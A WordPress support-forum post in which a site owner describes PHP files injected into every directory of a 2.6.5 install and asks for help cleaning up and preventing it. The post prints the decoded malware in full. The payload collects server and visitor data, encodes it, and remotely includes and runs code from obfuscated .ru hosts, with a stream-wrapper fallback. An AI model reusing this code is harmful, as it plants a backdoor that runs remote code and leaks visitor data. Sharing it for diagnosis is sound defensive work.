Possible PHP injection hack
-
Hi everyone,
I’ve had an odd hacking attempt over the weekend and I wanted to get any thoughts you guys might have in resolving it or preventing it in the future.Yesterday, while FTP’ing some files to my server, I started to notice random files placed all over my wordpress install. In each directory (wp-admin, wp-content, plugins, etc) there would be at least 2-3 randomly named PHP files (date.php, users.php, links.php, etc) and a .htaccess file (with permissions of 777) that I didn’t place there. The PHP files contained a chunk of Base 64 encoded text, that when decoded, looked like a fairly scary script:
class newhttp{ protected $fullurl; protected $p_url; protected $conn_id; protected $flushed; protected $mode = 4; protected $defmode; protected $redirects = 0; protected $binary; protected $options; protected $stat = array('dev' => 0,'ino' => 0,'mode' => 0,'nlink' => 1,'uid' => 0,'gid' => 0,'rdev' => -1,'size' => 0,'atime' => 0,'mtime' => 0,'ctime' => 0,'blksize' => -1,'blocks' => 0); protected function error($msg='not connected') { if ($this->options & STREAM_REPORT_ERRORS) { trigger_error($msg, E_USER_WARNING); } return false; } public function stream_open($path, $mode, $options, $opened_path) { $this->fullurl = $path; $this->options = $options; $this->defmode = $mode; $url = parse_url($path); if (empty($url['host'])) { return $this->error('missing host name'); } $this->conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2); if (!$this->conn_id) { return false; } if (empty($url['path'])) { $url['path'] = '/'; } $this->p_url = $url; $this->flushed = false; if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) { $this->mode += 2; } $this->binary = (strpos($mode, 'b') !== false); $c = $this->context(); if (!isset($c['method'])) { stream_context_set_option($this->context, 'http', 'method', 'GET'); } if (!isset($c['header'])) { stream_context_set_option($this->context, 'http', 'header', ''); } if (!isset($c['user_agent'])) { stream_context_set_option($this->context, 'http', 'user_agent', ini_get('user_agent')); } if (!isset($c['content'])) { stream_context_set_option($this->context, 'http', 'content', ''); } if (!isset($c['max_redirects'])) { stream_context_set_option($this->context, 'http', 'max_redirects', 5); } return true; } public function stream_close() { if ($this->conn_id) { fclose($this->conn_id); $this->conn_id = null; } } public function stream_read($bytes) { if (!$this->conn_id) { return $this->error(); } if (!$this->flushed && !$this->stream_flush()) { return false; } if (feof($this->conn_id)) { return ''; } $bytes = max(1,$bytes); if ($this->binary) { return fread($this->conn_id, $bytes); } else { return fgets($this->conn_id, $bytes); } } public function stream_write($data) { if (!$this->conn_id) { return $this->error(); } if (!$this->mode & 2) { return $this->error('Stream is in read-only mode'); } $c = $this->context(); stream_context_set_option($this->context, 'http', 'method', (($this->defmode[0] == 'x') ? 'PUT' : 'POST')); if (stream_context_set_option($this->context, 'http', 'content', $c['content'].$data)) { return strlen($data); } return 0; } public function stream_eof() { if (!$this->conn_id) { return true; } if (!$this->flushed) { return false; } return feof($this->conn_id); } public function stream_seek($offset, $whence) { return false; } public function stream_tell() { return 0; } public function stream_flush() { if ($this->flushed) { return false; } if (!$this->conn_id) { return $this->error(); } $c = $this->context(); $this->flushed = true; $RequestHeaders = array($c['method'].' '.$this->p_url['path'].(empty($this->p_url['query']) ? '' : '?'.$this->p_url['query']).' HTTP/1.0', 'HOST: '.$this->p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' ); if (!empty($c['header'])) { $RequestHeaders[] = $c['header']; } if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this->binary ? 'application/octet-stream' : 'text/plain'); } else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded'; } $RequestHeaders[] = 'Content-Length: '.strlen($c['content']); } $RequestHeaders[] = 'Connection: close'; if (fwrite($this->conn_id, implode("\r\n", $RequestHeaders)."\r\n\r\n") === false) { return false; } if (!empty($c['content']) && fwrite($this->conn_id, $c['content']) === false) { return false; } global $http_response_header; $http_response_header = fgets($this->conn_id, 300); $data = rtrim($http_response_header); preg_match('#.* ([0-9]+) (.*)#i', $data, $head); if (($head[1] >= 301 && $head[1] <= 303) || $head[1] == 307) { $data = rtrim(fgets($this->conn_id, 300)); while (!empty($data)) { if (stripos($data, 'Location: ') !== false) { $new_location = trim(str_ireplace('Location: ', '', $data)); break; } $data = rtrim(fgets($this->conn_id, 300)); } trigger_error($this->fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE); $this->stream_close(); return ($c['max_redirects'] > $this->redirects++ && $this->stream_open($new_location, $this->defmode, $this->options, null) && $this->stream_flush()); } $data = rtrim(fgets($this->conn_id, 1024)); while (!empty($data)) { $http_response_header .= $data."\r\n"; if (stripos($data, 'Content-Length: ') !== false) { $this->stat['size'] = trim(str_ireplace('Content-Length: ', '', $data)); } elseif (stripos($data, 'Date: ') !== false) { $this->stat['atime'] = strtotime(str_ireplace('Date: ', '', $data)); } elseif (stripos($data, 'Last-Modified: ') !== false) { $this->stat['mtime'] = strtotime(str_ireplace('Last-Modified: ', '', $data)); } $data = rtrim(fgets($this->conn_id, 1024)); } if ($head[1] >= 400) { trigger_error($this->fullurl.' '.$head[2], E_USER_WARNING); return false; } if ($head[1] == 304) { trigger_error($this->fullurl.' '.$head[2], E_USER_NOTICE); return false; } return true; } public function stream_stat() { $this->stream_flush(); return $this->stat; } public function dir_opendir($path, $options) { return false; } public function dir_readdir() { return ''; } public function dir_rewinddir() { return ''; } public function dir_closedir() { return; } public function url_stat($path, $flags) { return array(); } protected function context() { if (!$this->context) { $this->context = stream_context_create(); } $c = stream_context_get_options($this->context); return (isset($c['http']) ? $c['http'] : array()); } } $a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF); $e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING); $f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s"; $rkht=1; if(version_compare(PHP_VERSION,'5.2','>=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}} if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}} if($rkht==1){if ((include(base64_decode("aHR0cDovLw==").$p.base64_decode("LnVzZXJzLnBocGZyZWUucnU=").'/?'.$str.'.0'))){} else {include(base64_decode("aHR0cDovLw==").$p.base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==").'/?'.$str.'.1');} } else{stream_wrapper_register('http2','newhttp'); if ((include(base64_decode("aHR0cDI6Ly8=").$p.base64_decode("LnVzZXJzLnBocGZyZWUucnU=").'/?'.$str.'.2'))){} else {include(base64_decode("aHR0cDI6Ly8=").$p.base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==").'/?'.$str.'.3');} }
The bottom part includes more encoded text that looks like URLs to Russian sites like phpscripts.ru or something similar.
The files were everywhere and I had to clean out hundreds. They hit me across two domains but luckily I had WP backups from about a week ago. I was able to just delete the whole mess and start over.
My web host was no help, they basically told me it was my fault for running an insecure PHP application (WordPress) and that I’d just have to deal with it myself.
I was wondering if anyone had seen anything similar or had any insight into how the files were injected. I’m running 2.6.5 with only a few plugins (NextGen Gallery, Clean Archives and Automatic Upgrade).
I can understand how they might have “uploaded” or injected something into the upload script for something like NextGen Gallery, but these files where everywhere, every directory, every subdirectory, even in the images folders in my themes. It was crazy.
Any thoughts or tips on how to avoid this sort of thing in the future?
- The topic ‘Possible PHP injection hack’ is closed to new replies.